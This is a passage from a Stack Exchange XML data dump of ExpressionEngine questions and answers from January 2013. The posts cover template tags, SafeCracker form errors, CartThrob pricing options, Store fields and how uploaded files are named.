pairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:fbphotos:get_photos}&#xA;   &amp;lt;img src=&quot;{source}&quot; alt=&quot;{name} /&amp;gt;&#xA;{/exp:fbphotos:get_photos}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are unsure about how to use the EE Template Parser library ($this-&gt;EE-&gt;TMPL) checkout the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&quot;&gt;official docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="540" LastEditorUserId="540" LastEditDate="2013-01-15T01:17:48.910" LastActivityDate="2013-01-15T01:17:48.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4774" PostTypeId="2" ParentId="2366" CreationDate="2013-01-15T01:28:12.583" Score="1" Body="&lt;p&gt;You could do a few things, all of which include having one entry per product (not needing to separate them).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Manage rental and purchase prices as a Cartthrob price modifier field.&lt;/li&gt;&#xA;&lt;li&gt;Pre-populate matrix or modifier field rows by &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1548/pre-fill-matrix-field-when-creating-new-entry&quot;&gt;using some JavaScript in the instructions area&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Set up fields for purchase prices and rental prices, use a checkbox to indicate whether the product is available for purchase or rent. Then apply the appropriate price on the front-end using the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart_form/index.html#allow_user_price&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;allow_user_price=&quot;yes&quot;&lt;/code&gt; parameter&lt;/a&gt; on the &lt;code&gt;{exp:cartthrob:add_to_cart}&lt;/code&gt; tag, a hidden price input field, and some jQuery.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The downside to using the allow_user_price parameter solution, is that if someone really wanted, they could enter their own price by modifying the hidden price field's value using devtools or firebug. &lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-15T01:28:12.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4776" PostTypeId="1" AcceptedAnswerId="4779" CreationDate="2013-01-15T01:43:17.317" Score="0" ViewCount="385" Body="&lt;p&gt;Why wouldn't this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-70&quot;&amp;gt;&#xA;&#xA;        {exp:channel:entries channel=&quot;ministries&quot; limit=&quot;1&quot; {gv_param_disable_default}}&#xA;&#xA;&#xA;            &amp;lt;h1 class=&quot;section-header&quot;&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;            &amp;lt;img class=&quot;{switch='drop-shadow body-image-right|drop-shadow body-image-left'}&quot; src=&quot;{image}&quot; alt=&quot;{image_description}&quot; title=&quot;{image_description}&quot; width=&quot;350&quot;/&amp;gt;&#xA;&#xA;&#xA;            {page_content}&#xA;&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;        {/exp:channel:entries}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Come to find out, the switch does work fine though, I didn't realize it's intended use. It doesn't switch every page load or between each entry on separate pages rather, it switches through the iteration (or loop if you will) of entries when you have more than one entry being listed on a page via a single channel entry tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good example of how one might use the switch variable and classes would be &lt;a href=&quot;http://www.alistapart.com/articles/zebratables/&quot; rel=&quot;nofollow&quot;&gt;Zebra Tables&lt;/a&gt; where you are switching between a darker and lighter color for each table row.&lt;/p&gt;&#xA;" OwnerUserId="678" LastEditorUserId="16" LastEditDate="2013-01-15T18:15:53.620" LastActivityDate="2013-01-15T18:15:53.620" Title="{switch} not working" Tags="|add-on|switch|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4777" PostTypeId="2" ParentId="4776" CreationDate="2013-01-15T02:01:38.760" Score="1" Body="&lt;p&gt;You have a &lt;code&gt;limit=1&lt;/code&gt; set on the entries tag. So there is only 1 iteration in the loop. For the switch tag to work, it needs to have more than one entry to rotate through the values. Setting the &lt;code&gt;limit&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt; or higher will work.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-15T02:01:38.760" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4778" PostTypeId="2" ParentId="4776" CreationDate="2013-01-15T02:36:48.320" Score="0" Body="&lt;p&gt;I'm not sure why that's not working to be honest either based on the code you've provided. Someone mentioned the limit and I'm assuming it's safe to say that you do in fact have more than one entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you try this instead just for kicks and giggles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;class=&quot;drop-shadow body-image-{switch='right|left'}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-01-15T02:36:48.320" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4779" PostTypeId="2" ParentId="4776" CreationDate="2013-01-15T03:23:49.047" Score="2" Body="&lt;p&gt;surely on a listing of entries you should have dynamic=&quot;no&quot; set, like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; limit=&quot;2&quot; channel=&quot;ministries&quot; {gv_param_disable_default}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-15T03:23:49.047" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4781" PostTypeId="1" CreationDate="2013-01-15T03:50:51.060" Score="1" ViewCount="164" Body="&lt;p&gt;How do I make a Playa select field required in my Safecracker rules?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a playa field in my safecracker form as follows. The field generally works fine, but I cannot get Safecracker to require it. I've tried rules:training_teams=&quot;required&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;training_teams&quot; name=&quot;training_teams[selections][]&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select Race&amp;lt;/option&amp;gt;&#xA;    {embed=&quot;includes/_training_teams&quot; selected=&quot;{training_teams:child_ids}&quot;}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The embed file is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; status=&quot;open&quot; channel=&quot;rally_athlete_program&quot; &#xA;    orderby=&quot;title&quot; sort=&quot;asc&quot; date_field=&quot;event_date&quot;&#xA;date_field_start=&quot;{current_time format='%Y-%m-%d'} 12:01 AM&quot;}&#xA;    &amp;lt;option value=&quot;{entry_id}&quot;&amp;gt;{if entry_id == embed:selected}selected{/if}{title}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="796" LastEditorUserId="268" LastEditDate="2013-01-15T04:33:42.153" LastActivityDate="2013-01-15T21:03:14.263" Title="How to make a playa field required in a safecracker form?" Tags="|add-on|safecracker|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4782" PostTypeId="2" ParentId="3609" CreationDate="2013-01-15T04:53:42.733" Score="0" Body="&lt;p&gt;You might have to hard-code the &lt;code&gt;entry_id&lt;/code&gt; for your &lt;code&gt;news&lt;/code&gt; entry in the &lt;code&gt;pages&lt;/code&gt; channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;page&quot;&#xA;  status=&quot;open&quot;&#xA;  entry_id=&quot;5&quot;&#xA;  dynamic=&quot;no&quot;&#xA;  limit=&quot;1&quot;&#xA;  {global:channel_disable_most}&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or perhaps hard-code the URL title, either directly or with &lt;code&gt;{segment_1}&lt;/code&gt; (assuming the URL title for the page entry is &lt;code&gt;news&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;page&quot;&#xA;  status=&quot;open&quot;&#xA;  url_title=&quot;{segment_1}&quot;&#xA;  dynamic=&quot;no&quot;&#xA;  limit=&quot;1&quot;&#xA;  {global:channel_disable_most}&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's happening is that when you leave the index and are on a paginated page (like &lt;code&gt;/news/P5&lt;/code&gt;), the URL no longer &lt;em&gt;exactly&lt;/em&gt; matches your index page's &lt;strong&gt;Pages URI&lt;/strong&gt; of &lt;code&gt;/news&lt;/code&gt;. Because there's no exact match, the entries tag does its default behavior and returns the latest entry in EE.&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2013-01-15T04:53:42.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4783" PostTypeId="2" ParentId="2423" CreationDate="2013-01-15T06:00:06.290" Score="1" Body="&lt;p&gt;I made a number of critical bug fixes to Postmaster's latest developer build this evening. I have test thoroughly and can't any more issues. I created and triggered hooks without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I emailed you the updated branch before, but I think you run into new issues which have also been fixed. So... just email support[at]objectivehtml.com and I will send you the updated code.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-15T06:00:06.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4784" PostTypeId="2" ParentId="2296" CreationDate="2013-01-15T06:06:52.423" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;My question is that, isn't this supposed to be an inline error? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sorry it took so long to get back with you. Short answer, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's an error from the member registration class, which is a global error. Field errors, or inline errors are validated in CodeIgniter from Safecracker. One those are validated correct, the global error checks are ran. If any errors are found, they are returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So procedurally speaking, the field errors have already passed and now the member validation check fails. I think this is a good feature request though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think a work around would be to use Safecracker's validation rules to create your own minimum length which causes the field errors to fail when validating. Maybe try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rules:password=&quot;required|min_length[5]&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I have not tested this code, but if it fails in Safecracker, I could do the same routine programmatically in the extension. That would be how I solve the problem in a future update&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-15T06:06:52.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4785" PostTypeId="1" CreationDate="2013-01-15T07:29:21.243" Score="0" ViewCount="88" Body="&lt;p&gt;I have a site with a large number of blog channels (literal blogs in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each channel has a number of pieces of information I need to associate with it - a summary of the channel, an image that displays as a header, a feedburner link, and a couple other text fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I'm storing that information in a matrix in a low variable, and tying it to the channel manually with a text field containing the shortname of the channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I use this matrix a lot (for example on a page that outputs entries from every one of my channels) this matrix ends up being hugely inefficient and boosts my memory usage significantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is this - how would you store this type of information that relates to a channel as a whole, not an entry?&lt;/p&gt;&#xA;" OwnerUserId="364" LastEditorUserId="268" LastEditDate="2013-01-15T08:39:18.527" LastActivityDate="2013-01-15T09:38:37.860" Title="How to store data that relates to a channel?" Tags="|add-on|matrix|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4786" PostTypeId="1" AcceptedAnswerId="4791" CreationDate="2013-01-15T07:41:25.987" Score="1" ViewCount="479" Body="&lt;p&gt;SafeCracker gives me a Error after submitting an edit-form…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel='xy' … entry_id='{segment_3}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The URL contains the entry_id @ segment_3&lt;/li&gt;&#xA;&lt;li&gt;All field-values are included in their respective custom fields&lt;/li&gt;&#xA;&lt;li&gt;If I look into the rendered HTML, the entry_id is all over the place like: &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;15771&quot;&amp;gt;&lt;/code&gt; and others (RET, URI) … ditto for the correct values for author_id, channel_id, site_id etc. (see below)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I submit the form, the following error gets displayed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You must specify a valid entry to edit.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;BUT an interesting fact: the entry gets saved anyway!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;System: EE 2.5.5&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; All the hiddenFields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;21&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://domain.com/dir/dir2/15771&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;URI&quot; value=&quot;dir/dir2/15771&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;dir/dir2/success/15771&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;author_id&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;channel_id&quot; value=&quot;16&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;15771&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;dir/dir2/success/15771&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;allow_comments&quot; value=&quot;y&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastEditorUserId="268" LastEditDate="2013-01-15T08:38:57.123" LastActivityDate="2013-01-15T14:15:27.247" Title="SafeCracker: «You must specify a valid entry to edit.»" Tags="|safecracker|error|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4787" PostTypeId="2" ParentId="3609" CreationDate="2013-01-15T07:52:33.373" Score="1" Body="&lt;p&gt;In your example when segment_2 is empty or P1, P2, etc. you are setting the page_title, but that particular channel:entries tag is still dynamic (e.g. no dynamic=&quot;no&quot; parameter). If there is no entry with a P2 title, that channel:entries tag will fall back to showing a list of entries instead, which you just limit to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to also set dynamic=no for the P1 and empty segment. However a better solution is to organize your switchee a bit to catch more clear cases.&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-01-15T08:22:12.500" LastActivityDate="2013-01-15T08:22:12.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4789" PostTypeId="2" ParentId="2381" CreationDate="2013-01-15T08:34:15.503" Score="0" Body="&lt;p&gt;This turns out to be a result of expression engine converting the curly brackets into entities before parsing for encode tags.  On line 118 of my system/expressionengine/libraries/EE_Typography.php file I see the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;convert_curly        = TRUE;     // Convert Curly Brackets Into Entities&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing the TRUE to FALSE, resolves the issue.  Obviously editing this in core is less than ideal and it actually changes the default behavior for the Typography class.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the latest version of expressionengine and checked the value for this variable in the default install and indeed it is set to TRUE, so it isn't a matter of me having somehow inadvertently changed it by accident.  I find it strange that no one else seems to be having this issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have people just not noticed that their encode tags are now exposing their email addresses?&#xA;Am I the only one with encode tags still on their site?&#xA;Is there an override set somewhere that I need to find?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I welcome comments to this answer to confirm whether the encode tag works for you on your install, and separate answers for how to get it to work again without modifying core.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2013-01-15T09:04:55.253" LastActivityDate="2013-01-15T09:04:55.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4790" PostTypeId="2" ParentId="2466" CreationDate="2013-01-15T08:53:50.363" Score="0" Body="&lt;p&gt;One answer here (as mentioned) is to disable Auto-Assign Category Parents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, on a site where i rely on that setting to be available, i display the entry conditionally inside the categories tag. Say you want entries for category id 20 only, not children of 20, then i use a condition (or switchee) on the parent_id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- preload replace trick with segment conditional to set default --}&#xA;{if segment_2_category_id ==&quot;&quot;}&#xA;  {preload_replace:my_cat_id=&quot;12&quot;}&#xA;{/if}&#xA;{preload_replace:my_cat_id=&quot;{segment_2_category_id}&quot;}&#xA;&#xA;&#xA;{exp:channel entries category=&quot;{my_cat_id}&quot; ...}&#xA;  {categories}&#xA;    {if parent_id != &quot;{my_cat_id}&quot;}&#xA;      {!-- display the entry --}&#xA;      {title}&#xA;      {item_body}&#xA;    {/if}&#xA;  {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-01-15T08:59:48.913" LastActivityDate="2013-01-15T08:59:48.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4791" PostTypeId="2" ParentId="4786" CreationDate="2013-01-15T09:20:09.247" Score="2" Body="&lt;p&gt;You write:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The URL contains the entry_id @ segment_3&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The return url has &quot;success&quot; as segment_3.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;dir/dir2/success/15771&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not a valid entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:safecracker channel='xy' … entry_id='{segment_3}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:safecracker channel='xy' … entry_id='{segment_4}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or change the url return path to something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;dir/dir2/15771/success&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-01-15T09:20:09.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4792" PostTypeId="1" CreationDate="2013-01-15T09:35:15.723" Score="4" ViewCount="105" Body="&lt;p&gt;I'd like to hide certain unused fields from the store product details field on the publish page. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a product channel with a store product details tag and like to hide the &quot;min. order quantity&quot; field as it is irrelevant in this particular situation and it only confuses the user.&lt;/p&gt;&#xA;" OwnerUserId="664" LastEditorUserId="150" LastEditDate="2013-01-29T15:20:30.007" LastActivityDate="2013-01-29T15:20:30.007" Title="Can I hide individual elements from Store product details field" Tags="|expresso-store|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4793" PostTypeId="2" ParentId="4785" CreationDate="2013-01-15T09:38:37.860" Score="2" Body="&lt;p&gt;I would create separate channel for channel metadata and store all data related to blogs as entries in that channel. That will give you a lot of flexibility (as usually with channels).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To associate entries with actual blogs you will need a custom field that will store blog channel name or ID. That can be text field - in that case, you will need to enter name/ID manually. Or, if you're familiar with add-on development, you can create dropdown select fieldtype that would present list of channels (you can develop it using similar existing fieldtype  as a base, like &lt;a href=&quot;http://devot-ee.com/add-ons/msm-site-list-custom-field&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-15T09:38:37.860" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4794" PostTypeId="1" CreationDate="2013-01-15T11:50:43.203" Score="0" ViewCount="234" Body="&lt;p&gt;I have a fairly large site that is using Safecracker File for quite a few fields. Some of the entries have files that get updated each month. The issue is that &quot;removing&quot; a file from an entry does not delete and replace the file on the server so if you are trying to attach a file with the same filename as the file already uploaded, the new file will get renamed by EE on upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's usually not a problem, but the client has a case where they do not want the filename to change because they want to share a direct link to the file with their team - and they don't want to have to reshare the link each time the entry is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this month they share a link to &quot;Marketing-Presentation.ppt&quot; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/uploads/docs/Marketing-Presentation.ppt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then next month when it's updated, the client uploads the new file... but the new file has a 1 appended to the filename... so the new link is the one below but the link shared last month no longer links to the latest version of the file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/uploads/docs/Marketing-Presentation-1.ppt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm thinking so far...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a file fieldtype that will delete and replace the existing file rather than just upload and rename?&lt;/li&gt;&#xA;&lt;li&gt;Perhaps the best way to solve this is to give the client another way to share direct download links that do not contain the file name.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd like to hear your insights on either of those approaches or something else I'm not thinking about.&lt;/p&gt;&#xA;" OwnerUserId="757" LastActivityDate="2013-01-16T02:58:35.250" Title="How to share direct links to file uploads that always show the latest version of a file" Tags="|file-uploads|assets|safecracker-file|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4795" PostTypeId="1" AcceptedAnswerId="4796" CreationDate="2013-01-15T12:06:49.993" Score="1" ViewCount="114" Body="&lt;p&gt;Embarking on a site that will sell photos. Those photos will be uploaded in bulk using Channel Images. The user will only want to pick their own photo. All photos will cost the same and should be given to the user post checkout by download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to approach?&lt;/p&gt;&#xA;" OwnerUserId="797" LastActivityDate="2013-01-15T12:08:58.870" Title="Selling photos with Store and Channel Images" Tags="|expresso-store|image-galleries|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4796" PostTypeId="2" ParentId="4795" CreationDate="2013-01-15T12:08:58.870" Score="1" Body="&lt;p&gt;Haven't used Store but from what I know of it, you should be able to add a product modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easiest way would be to add a Store field to your channel that has the Channel Images field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you would add a modifier to grab the id Channel Images photo id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once customer has paid, you could display their order info, grab that id and run it through a Channel Images tag so they can download it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that makes any sense?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-15T12:08:58.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4797" PostTypeId="1" AcceptedAnswerId="4803" CreationDate="2013-01-15T12:12:19.303" Score="2" ViewCount="209" Body="&lt;p&gt;I get this message in the CP trying to set Safe Harbor settings: Failed to save settings on &lt;a href=&quot;http://eeharbor.com&quot; rel=&quot;nofollow&quot;&gt;http://eeharbor.com&lt;/a&gt;. Make sure your website is publicly accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is publicly accessible and passes the Safe Harbor compatibility check.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-15T16:11:05.677" Title="Safe Harbor not saving settings" Tags="|backup|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4798" PostTypeId="2" ParentId="4794" CreationDate="2013-01-15T12:23:07.757" Score="4" Body="&lt;p&gt;Instead of sharing the url to the file itself, share the url to an entry which provides a download link to the file &quot;attached&quot; to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site admins would upload/attach the file to an entry. If the file needed updating they would edit the existing entry and upload a new file. The name of the file wouldn't matter as that would not be shared. The url to the entry would never change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your front-end the template could either show a download link or automatically trigger a download of the file attached to the entry.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-15T12:23:07.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4799" PostTypeId="2" ParentId="2114" CreationDate="2013-01-15T12:35:21.087" Score="1" Body="&lt;p&gt;Similar to what Jim said but this would give a bit more flexibility:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/_html_head&quot; body_id=&quot;your-css-id&quot; body_class=&quot;your-css-class&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then within that embed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body id=&quot;{embed:body_id}&quot; class=&quot;{embed:body_class}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also achieve the same thing with Low Vars (less overhead too)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single&#xA;var='lv_html_head'&#xA;preparse:body_id='home'&#xA;preparse:page_title='Home'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where lv_html_head is a textarea Low Variable containing what would be in your embed.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-15T12:35:21.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4800" PostTypeId="2" ParentId="4786" CreationDate="2013-01-15T14:15:27.247" Score="0" Body="&lt;p&gt;Are you passing the entry id as ENTRY_ID in the return?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;channel_name&quot; return=&quot;channel_name/edit/ENTRY_ID&quot; entry_id=&quot;{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-01-15T14:15:27.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
